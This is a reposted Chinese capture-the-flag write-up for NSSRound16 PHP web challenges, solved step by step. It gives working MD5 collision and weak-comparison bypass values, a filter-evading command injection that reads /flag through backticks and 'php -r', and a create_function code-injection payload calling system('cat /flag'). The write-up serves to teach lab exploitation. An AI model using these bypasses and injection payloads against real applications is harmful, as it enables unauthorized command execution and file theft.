NSSRound16

这篇具有很好参考价值的文章主要介绍了NSSRound16。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

NSSRound16

RCE但是没有完全RCE

审题

NSSRound16

审核代码,简单的md5绕过。

知识点

md5绕过,命令组合,shell里``中的内容会被当成代码执行

知识详解

  1. md5等于的绕过方法

    1. 数组绕过 a[]=1&b[]=2,

    2. 0e绕过弱比较,md5后的值以0e开头即可绕过。

    3. $a==md5 $a=0e215962017其md5后的值也为0e开头

    4. md5碰撞绕过强比较。

      a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
      b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
      

解题

  1. md5碰撞绕过md5_1和2,数组绕过md5_3

NSSRound16

  1. 进入新目录。

NSSRound16

审核代码禁用了一些字母符号,并且将shell和cmd构成了一个可执行函数

使用dir观察题目内容

NSSRound16

找到flag,cat命令被禁言使用more命令。

并且由于``中内容会被当成代码执行使用php -r,快速执行一些php代码。

所以构造的cmd为

cmd=cd /;more `php -r "echo chr(102).chr(108).chr(97).chr(103);"`

NSSRound16

了解过PHP特性吗

审题

NSSRound16

进行代码审计后,总的来说就是让checker1,2,3,4都为ture

知识点

php函数的应用。

解题

  1. 绕过checker1

    $num = $_GET['num'];
    if (preg_match("/[0-9]/", $num)) {
        die("no!!");
    }
    if (intval($num)) {
        $checker_1 = TRUE;
    } 
    

    只要让num中匹配不到数字并让intval=1即可。直接用数组绕过

    num[]=1

  2. 绕过checker2

    if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
        $ctype = strrev($_POST['ctype']);
        $is_num = strrev($_POST['is_num']);
        if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
            $checker_2 = TRUE;
        }
    } 
    

    md5弱比较,0e 绕过。

    注意strrev()函数,反转函数将字符串前后反转。

    构造:ctype=TDNHTLQ&is_num=807016042

  3. 绕过checker3。

    $_114 = $_GET['114'];
    $_514 = $_POST['514'];
    if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
        if (!is_numeric($_514) && $_514 > 9999999) {
            $checker_3 = TRUE;
        }
    } 
    

    直接构造:114=1e9&514=9999999999999999a即可。

  4. 绕过checker4

    $arr4y = $_POST['arr4y'];
    if (is_array($arr4y)) {
        for ($i = 0; $i < count($arr4y); $i++) {
            if ($arr4y[$i] === "NSS") {
                die("no!");
            }
            $arr4y[$i] = intval($arr4y[$i]);
        }
        if (array_search("NSS", $arr4y) === 0) {
            $checker_4 = TRUE;
        }
    } 
    

    首先arr4y[]!=NSS,然后array_search函数是弱比较,如果为数字,则NSS比较后输出0,如果为字符串则输出false。

    所以,构造:arr4y[]=0.

得到下一页目录

NSSRound16

NSSRound16

注意create_function()函数

$B='echo $A;'
create_function($A,$B) //的输出结果相当于
    
    
    
   function lambda_1($A){
    echo $A;
}

所以,传入nss=return;}system('cat /flag');/*&shell=时

相当于:

creat_function($shell,$nss);

function lambda_1($shell,$nss){
    return;}system('cat /flag');/*
}

所以,得到flag。

NSSRound16文章来源地址https://www.toymoban.com/news/detail-825298.html

到了这里,关于NSSRound16的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 解决:win10有提示音,但是播视频没有声音

    右下角的声音图标,右键单击,选择\\\"声音”,找到播放,双击负责播放的设备,进入设备属性页,然后取消勾选“启用音频增强”。

    2024年02月12日
    浏览(61)
  • 使用git pull成功了但是本地代码没有更新

    正常git pull 后 代码没有本地更新的解决方案: 首先使用git reset --hard:重置当前分支并丢弃所有未提交的更改  接下来就正常的把代码拉下来:git pull origin xx  

    2024年02月07日
    浏览(66)
  • GDB:遇到segfault但是没有core文件如何定位问题

    生产环境定位问题往往遇到各种限制,比如事后日志发现程序是收到SIGSEGV退出了(segment fault),但是因为: 没配置limit 存储空间不够了 其他未知原因 没有正常生成core文件,那么这会如何定位问题呢? 测试程序ctest,明显的空指针错误。 执行后: 但是没有生成core文件。

    2023年04月08日
    浏览(44)
  • 解决git文件中没有代码改动但是显示一大堆改动

    .git/config 文件用于配置 Git 仓库的行为。 repositoryformatversion : 用途: 指定 Git 仓库的格式版本。 用法: 此配置项的值是整数,指示 Git 仓库的格式版本。一般情况下,你不需要手动更改这个值,Git 会自动管理。 filemode : 用途: 控制是否跟踪文件的执行权限。 用法: 如果

    2024年01月23日
    浏览(53)
  • 51单片机编译没有报错,但是下载后程序不更新

    51单片机程序修改后,编译没有报错,但是下载到芯片后,程序好像没有更新,新添加的代码没有运行。 删除编译过程生成的所有中间文件 重新编译,此时应该会有报错 然后检查新添加的代码是否有指针用错的问题

    2024年01月24日
    浏览(43)
  • idea中导入maven项目,但是却没有导入依赖的问题

    今天我遇到很奇葩的问题,用maven几年了,只是导入maven项目配置好maven,所有的依赖从仓库下载下来后就自动导入了,前几天电脑硬盘坏了,所以重新装的idea, 可以看到pom的素有依赖都没引入,我重新导入pom还是一样。 这是需要勾选上: 然后再重启idea,再reimport一下就好了

    2024年02月16日
    浏览(53)
  • win10添加无线蓝牙键盘链接需要输入PIN码 但是没有

    1、当我们在要求输入pin码的时候 我们使用自带的键盘(有线键盘)输入:000000 输入然后然后切换到蓝牙键盘 在蓝牙键盘上火速输入:000000 按下回车键一般即可完成连接 方法二: 1、打开 控制面板-硬件和声音-设备和打印机-添加设备 在输入PIN码下面可以选择“或者在设备

    2024年02月15日
    浏览(44)
  • 下载了nodejs但是npm -v的时候没有反应如何解决

    小伙伴们,我真的别npm搞哭了,昨天折腾俩小时,整半天没出来,今天早上又整了一个多小时才解决,我必须写篇博客记录一下整个安装nodejs的心路历程!!! 说一下我的问题: 安装nodejs就是正常官网Nodejs官网链接安装,一路next傻瓜安装就行,不过你想中途改安装路径也是

    2024年02月09日
    浏览(47)
  • laravel中Mail发送邮件失败,但是没有错误信息,该如何调试?

    在Laravel中,当使用Mail类发送邮件失败但没有错误信息显示时,可以按照以下步骤进行调试: 检查日志文件: Laravel会记录各种应用程序活动和错误信息。查看应用程序的日志文件,通常位于 storage/logs 目录下,寻找与邮件相关的错误消息。 开启调试模式: 在 .env 文件中将

    2024年02月11日
    浏览(50)
  • vue3中数据更新了,但是视图没有更新的5中方案

    vue 3.0 ref 和 Reactive 数据响应式,以及使用 Reactive 数据已更新但页面没有同步刷新异常 方案1:Vue 3.0 中我们使用 reactive() 定义的响应式数据的时候,当我们对象再次赋值,我们发现数据已经修改成功,但是页⾯并没有自动渲染成最新的数据; 这时我们可以改成 ref () 或者对

    2024年01月18日
    浏览(46)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包